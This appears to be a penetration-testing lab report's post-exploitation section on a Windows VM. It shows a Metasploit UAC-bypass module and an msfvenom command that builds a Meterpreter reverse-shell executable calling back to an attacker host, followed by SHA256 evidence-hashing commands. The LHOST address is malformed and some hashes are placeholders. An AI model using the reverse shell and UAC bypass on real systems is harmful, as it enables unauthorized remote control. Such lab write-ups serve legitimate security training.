Post-Exploitation

Activities

Tools Used:

- **Meterpreter** (post-exploitation shell)
- **Volatility** (memory forensics)
- **sha256sum** (file integrity hashing)

Tasks Performed

- Privilege escalation
- Evidence collection and integrity verification

Enhanced Tasks

1. Escalation

Used Metasploit's local privilege-escalation module:

Escalation Attempt

Used Metasploit's UAC bypass module to attempt privilege elevation:

```
use exploit/windows/local/bypassuac_fodhelper
set session <id>
run
```

Payload create

```
msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=192.0168.0.13 LPORT=4444 -f exe -o win10x46.exe
```

In windows VM

Double click the win10x46.exe

Evidence Collection

Below is the **evidence table format** you requested.

Under the table, you get **the exact PowerShell hash-extraction commands you used**, one-by-one.

Captured logs and analyzed output inside Meterpreter.

Item	Description		Collected By	Date	Hash Value
Config File	DiskSnapshot.conf		VAPT Analyst	2025-11-21	DAF33B8B728F767EC52EBDEAC2A26BBE6A4CDDFB63FBB032625B4B2062CE62DE
Log File	CBS.log		VAPT Analyst	2025-11-21	0C69DC1ECD0527E1C73F0F35E03B7B00DC512031D33602A6F8C37D40763DB3C8
Event Log	Application.evtx		VAPT Analyst	2025-11-21	<SHA256>
Log File	StructuredQuery.log		VAPT Analyst	2025-11-20	9B0B6C897FCE16701222C85CE308EF248CFC51F17B4A9A21BD21F66DF37C99B8
Log File	aria-debug-3080.log		VAPT Analyst	2025-11-20	973CAC903F3EE6FED2F2AD74158AEC52C8660E470CFAAFC8748B4AC76773D09D
Log File	msedge_installer.log		VAPT Analyst	2025-11-20	1A7E9607D5AAA0D6E749FA65DB405CAE2E29C0D8E8F21B7D86F7EA15805B8342
Config File	CS_shared.conf (Skype)		VAPT Analyst	2025-11-20	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
Config File	persistent.conf (SkypeRT)		VAPT Analyst	2025-11-20	4D53016B799F46A4066790EFE622D23715DBDA169556C071DBFBD711F376E90E
Registry Log	ntuser.dat.LOG1		VAPT Analyst	2025-11-20	<SHA256>
Registry Log	ntuser.dat.LOG2		VAPT Analyst	2025-11-20	<SHA256>

PowerShell Commands to Extract SHA256 Hash (One-by-One)
These are **clean, final, correct commands** for each file **exactly in your required style**.

1. Application Event Log
(Will only work if privileged; otherwise Access Denied)

```
powershell -command "Get-FileHash
'C:\Windows\System32\winevt\Logs\Application.evtx' -Algorithm
SHA256"
```

2. StructuredQuery.log
powershell -command "Get-FileHash

```
'C:\Windows\System32\LogFiles\WMI\RtBackup\StructuredQuery.log
' -Algorithm SHA256"
```

3. aria-debug-3080.log

```
powershell -command "Get-FileHash 'C:\Users\Kali
Linux\AppData\Local\Temp\aria-debug-3080.log' -Algorithm
SHA256"
```

4. msedge_installer.log

```
powershell -command "Get-FileHash 'C:\Users\Kali
Linux\AppData\Local\Temp\msedge_installer.log' -Algorithm
SHA256"
```

5. CS_shared.conf (Skype)

```
powershell -command "Get-FileHash 'C:\Users\Kali
Linux\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\
LocalState\CS_localstate\CS_shared.conf' -Algorithm SHA256"
```

6. persistent.conf (SkypeRT)

```
powershell -command "Get-FileHash 'C:\Users\Kali
Linux\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\
LocalState\SkypeRT\persistent.conf' -Algorithm SHA256"
```

Summary

During the post-exploitation phase, a custom Meterpreter payload was generated using **MSFvenom** to establish a reverse connection back to the attacker's machine. The payload format was selected based on the target environment, ensuring compatibility, stealth, and successful execution. After generation, a Metasploit **multi/handler** listener was configured to receive the incoming session. This payload served as the primary method for obtaining remote code execution, privilege escalation testing, and evidence collection on the compromised host.